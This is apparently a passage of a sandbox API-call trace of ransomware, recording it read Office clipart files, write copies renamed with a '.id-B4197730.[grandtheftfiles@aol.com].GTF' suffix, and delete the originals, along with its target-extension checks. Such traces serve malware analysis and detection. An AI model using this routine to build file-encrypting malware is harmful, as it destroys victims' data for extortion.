	[0081.731] lstrlenW (lpString=".bz2") returned 4
	[0081.731] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.731] lstrlenW (lpString=".7z") returned 3
	[0081.731] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0081.731] lstrlenW (lpString=".dbf") returned 4
	[0081.731] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0081.731] lstrlenW (lpString=".1cd") returned 4
	[0081.731] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0081.731] lstrlenW (lpString=".jpg") returned 4
	[0081.731] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0081.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0081.731] lstrlenW (lpString=".doc") returned 4
	[0081.731] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.731] lstrlenW (lpString=".docx") returned 5
	[0081.731] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.731] lstrlenW (lpString=".pdf") returned 4
	[0081.731] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.731] lstrlenW (lpString=".xls") returned 4
	[0081.731] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.731] lstrlenW (lpString=".xlsx") returned 5
	[0081.731] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.731] lstrlenW (lpString=".ppt") returned 4
	[0081.731] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0081.731] lstrlenW (lpString=".zip") returned 4
	[0081.732] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.732] lstrlenW (lpString=".rar") returned 4
	[0081.732] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.732] lstrlenW (lpString=".bz2") returned 4
	[0081.732] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.732] lstrlenW (lpString=".7z") returned 3
	[0081.732] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0081.732] lstrlenW (lpString=".dbf") returned 4
	[0081.732] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0081.732] lstrlenW (lpString=".1cd") returned 4
	[0081.732] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0081.732] lstrlenW (lpString=".jpg") returned 4
	[0081.732] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.732] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0081.732] lstrlenW (lpString="AN04384_.WMF") returned 12
	[0081.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0081.733] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=4996) returned 1
	[0081.733] CloseHandle (hObject=0x390) returned 1
	[0081.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 0x220
	[0081.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0081.733] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.733] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0081.734] GetLastError () returned 0x0
	[0081.734] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x1384, lpOverlapped=0x0) returned 1
	[0082.071] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x1390, lpOverlapped=0x0) returned 1
	[0082.072] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.072] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.074] SetEndOfFile (hFile=0x37c) returned 1
	[0082.585] CloseHandle (hObject=0x37c) returned 1
	[0082.586] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.586] SetEndOfFile (hFile=0x390) returned 1
	[0082.587] CloseHandle (hObject=0x390) returned 1
	[0082.587] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0082.587] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 1
	[0082.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0082.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0082.588] lstrlenW (lpString=".doc") returned 4
	[0082.589] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.589] lstrlenW (lpString=".docx") returned 5
	[0082.589] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.589] lstrlenW (lpString=".pdf") returned 4
	[0082.589] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.589] lstrlenW (lpString=".xls") returned 4
	[0082.589] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.589] lstrlenW (lpString=".xlsx") returned 5
	[0082.589] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.589] lstrlenW (lpString=".ppt") returned 4
	[0082.589] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0082.589] lstrlenW (lpString=".zip") returned 4
	[0082.589] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.589] lstrlenW (lpString=".rar") returned 4
	[0082.589] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.589] lstrlenW (lpString=".bz2") returned 4
	[0082.589] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.589] lstrlenW (lpString=".7z") returned 3
	[0082.589] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0082.589] lstrlenW (lpString=".dbf") returned 4
	[0082.589] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0082.589] lstrlenW (lpString=".1cd") returned 4
	[0082.589] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0082.589] lstrlenW (lpString=".jpg") returned 4
	[0082.589] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0082.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0082.589] lstrlenW (lpString=".doc") returned 4
	[0082.589] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.589] lstrlenW (lpString=".docx") returned 5
	[0082.589] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.589] lstrlenW (lpString=".pdf") returned 4
	[0082.590] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.590] lstrlenW (lpString=".xls") returned 4
	[0082.590] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.590] lstrlenW (lpString=".xlsx") returned 5
	[0082.590] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.590] lstrlenW (lpString=".ppt") returned 4
	[0082.590] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0082.590] lstrlenW (lpString=".zip") returned 4
	[0082.590] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.590] lstrlenW (lpString=".rar") returned 4
	[0082.590] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.590] lstrlenW (lpString=".bz2") returned 4
	[0082.590] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.590] lstrlenW (lpString=".7z") returned 3
	[0082.590] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0082.590] lstrlenW (lpString=".dbf") returned 4
	[0082.590] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0082.590] lstrlenW (lpString=".1cd") returned 4
	[0082.590] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0082.590] lstrlenW (lpString=".jpg") returned 4
	[0082.590] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.590] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0082.590] lstrlenW (lpString="BD06200_.WMF") returned 12
	[0082.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0082.593] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=16676) returned 1
	[0082.593] CloseHandle (hObject=0x378) returned 1
	[0082.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x220
	[0082.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0082.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0082.611] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.611] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0082.621] GetLastError () returned 0x0
	[0082.621] ReadFile (in: hFile=0x378, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x4124, lpOverlapped=0x0) returned 1
	[0082.623] WriteFile (in: hFile=0x380, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x4130, lpOverlapped=0x0) returned 1
	[0082.624] ReadFile (in: hFile=0x378, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.624] WriteFile (in: hFile=0x380, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.624] SetEndOfFile (hFile=0x380) returned 1
	[0082.625] CloseHandle (hObject=0x380) returned 1
	[0082.626] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.626] SetEndOfFile (hFile=0x378) returned 1
	[0082.627] CloseHandle (hObject=0x378) returned 1
	[0082.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0082.627] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 1
	[0082.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0082.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0082.627] lstrlenW (lpString=".doc") returned 4
	[0082.627] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.627] lstrlenW (lpString=".docx") returned 5
	[0082.627] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.627] lstrlenW (lpString=".pdf") returned 4
	[0082.627] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.627] lstrlenW (lpString=".xls") returned 4
	[0082.627] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.627] lstrlenW (lpString=".xlsx") returned 5
	[0082.627] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.627] lstrlenW (lpString=".ppt") returned 4
	[0082.628] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0082.628] lstrlenW (lpString=".zip") returned 4
	[0082.628] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.628] lstrlenW (lpString=".rar") returned 4
	[0082.628] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.628] lstrlenW (lpString=".bz2") returned 4
	[0082.628] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.628] lstrlenW (lpString=".7z") returned 3
	[0082.628] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0082.628] lstrlenW (lpString=".dbf") returned 4
	[0082.628] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0082.628] lstrlenW (lpString=".1cd") returned 4
	[0082.628] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0082.628] lstrlenW (lpString=".jpg") returned 4
	[0082.628] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0082.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0082.628] lstrlenW (lpString=".doc") returned 4
	[0082.628] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.628] lstrlenW (lpString=".docx") returned 5
	[0082.628] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.628] lstrlenW (lpString=".pdf") returned 4
	[0082.628] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.628] lstrlenW (lpString=".xls") returned 4
	[0082.628] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.628] lstrlenW (lpString=".xlsx") returned 5
	[0082.628] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.628] lstrlenW (lpString=".ppt") returned 4
	[0082.628] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0082.628] lstrlenW (lpString=".zip") returned 4
	[0082.628] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.629] lstrlenW (lpString=".rar") returned 4
	[0082.629] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.629] lstrlenW (lpString=".bz2") returned 4
	[0082.629] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.629] lstrlenW (lpString=".7z") returned 3
	[0082.629] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0082.629] lstrlenW (lpString=".dbf") returned 4
	[0082.629] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0082.629] lstrlenW (lpString=".1cd") returned 4
	[0082.629] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0082.629] lstrlenW (lpString=".jpg") returned 4
	[0082.629] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.629] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0082.629] lstrlenW (lpString="BD08758_.WMF") returned 12
	[0082.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0082.629] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=24320) returned 1
	[0082.629] CloseHandle (hObject=0x378) returned 1
	[0082.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x220
	[0082.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0082.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0082.630] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.630] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0082.630] GetLastError () returned 0x0
	[0082.630] ReadFile (in: hFile=0x378, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x5f00, lpOverlapped=0x0) returned 1
	[0082.632] WriteFile (in: hFile=0x380, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x5f10, lpOverlapped=0x0) returned 1
	[0082.633] ReadFile (in: hFile=0x378, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.633] WriteFile (in: hFile=0x380, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.633] SetEndOfFile (hFile=0x380) returned 1
	[0082.634] CloseHandle (hObject=0x380) returned 1
	[0082.635] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.635] SetEndOfFile (hFile=0x378) returned 1
	[0082.636] CloseHandle (hObject=0x378) returned 1
	[0082.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0082.636] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 1
	[0082.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0082.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0082.637] lstrlenW (lpString=".doc") returned 4
	[0082.637] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.637] lstrlenW (lpString=".docx") returned 5
	[0082.637] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.637] lstrlenW (lpString=".pdf") returned 4
	[0082.637] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.637] lstrlenW (lpString=".xls") returned 4
	[0082.637] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.637] lstrlenW (lpString=".xlsx") returned 5
	[0082.637] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.637] lstrlenW (lpString=".ppt") returned 4
	[0082.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0082.637] lstrlenW (lpString=".zip") returned 4
